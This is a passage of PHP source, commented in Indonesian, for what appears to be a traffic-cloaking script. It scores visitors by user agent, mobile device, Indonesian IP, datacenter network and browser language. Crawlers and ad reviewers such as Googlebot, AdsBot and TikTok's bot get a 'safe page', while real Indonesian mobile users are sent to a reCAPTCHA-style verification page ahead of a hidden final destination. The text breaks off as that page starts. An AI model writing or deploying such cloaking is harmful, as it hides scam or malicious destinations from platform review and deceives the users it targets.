safeUrl = $safeUrl; $this->finalDestination = $finalDestination; $this->cacheDir = __DIR__ . '/cache/'; $this->userAgent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); $this->acceptLanguage = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? ''); $this->userIp = $this->detectRealIp(); } private function detectRealIp(): string { if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) return $_SERVER['HTTP_CF_CONNECTING_IP']; if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) return trim(explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0]); return $_SERVER['REMOTE_ADDR'] ?? ''; } public function run(): void { $this->calculateRiskScore(); // Skor 30 ke atas dianggap Bot / Tidak Valid if ($this->riskScore >= 30) { $this->serveSafePage(); } else { // Skor aman (Manusia asli) -> Tampilkan halaman Verifikasi reCAPTCHA $this->serveVerificationPage(); } } // ========================================== // 1. MESIN DETEKSI & SCORING // ========================================== private function calculateRiskScore(): void { if ($this->isKnownBot()) { $this->riskScore += 100; return; } if (!$this->isMobile()) { $this->riskScore += 50; return; } $ipData = $this->getIpIntelligence(); if (!$ipData || $ipData->countryCode !== 'ID') { $this->riskScore += 40; return; } if ($this->isDatacenter($ipData->org, $ipData->as)) { $this->riskScore += 100; return; } if ($this->isLanguageMismatch()) { $this->riskScore += 30; } } private function isKnownBot(): bool { $botPattern = '/(googlebot|adsbot-google|bingbot|slurp|duckduckbot|baiduspider|yandexbot|facebot|facebookexternalhit|twitterbot|linkedinbot|applebot|tiktokbot|bytedancewebbot|bytespider|ahrefsbot|semrushbot|mj12bot|lighthouse|curl|wget|python|java\/|headless|selenium|webdriver)/i'; return preg_match($botPattern, $this->userAgent) === 1; } private function isMobile(): bool { return preg_match('/(iphone|android|mobile|samsung|xiaomi|oppo|vivo|realme)/i', $this->userAgent) === 1; } private function getIpIntelligence(): ?object { $cacheFile = $this->cacheDir . 'ip_' . md5($this->userIp) . '.json'; // Cache IP selama 6 jam (21600 detik) if (file_exists($cacheFile) && (time() - filemtime($cacheFile) < 21600)) { return json_decode(file_get_contents($cacheFile)); } $ctx = stream_context_create(['http' => ['timeout' => 2]]); // Hanya ambil field yang diperlukan untuk hemat bandwidth & cepat $response = @file_get_contents("http://ip-api.com/json/{$this->userIp}?fields=status,message,countryCode,as,org", false, $ctx); if ($response) { $data = json_decode($response); if ($data && $data->status === 'success') { if (!is_dir($this->cacheDir)) mkdir($this->cacheDir, 0755, true); file_put_contents($cacheFile, json_encode($data)); return $data; } } return null; } private function isDatacenter(string $org, string $as): bool { $checkStr = strtolower($org . ' ' . $as); $dcKeywords = [ 'amazon', 'aws', 'google', 'microsoft', 'azure', 'oracle', 'alibaba', 'tencent', 'digitalocean', 'linode', 'akamai', 'vultr', 'hetzner', 'ovh', 'leaseweb', 'cloudflare', 'fastly', 'quadranet', 'buyvm', 'hostinger', 'datacenter', 'server', 'bytedance', 'tiktok', 'douyin' ]; foreach ($dcKeywords as $keyword) { if (strpos($checkStr, $keyword) !== false) return true; } return false; } private function isLanguageMismatch(): bool { if (empty($this->acceptLanguage)) return true; return (strpos($this->acceptLanguage, 'id') === false && strpos($this->acceptLanguage, 'en-us') === false); } // ========================================== // 2. HALAMAN VERIFIKASI (UI reCAPTCHA v2) // ========================================== private function serveVerificationPage(): void { echo '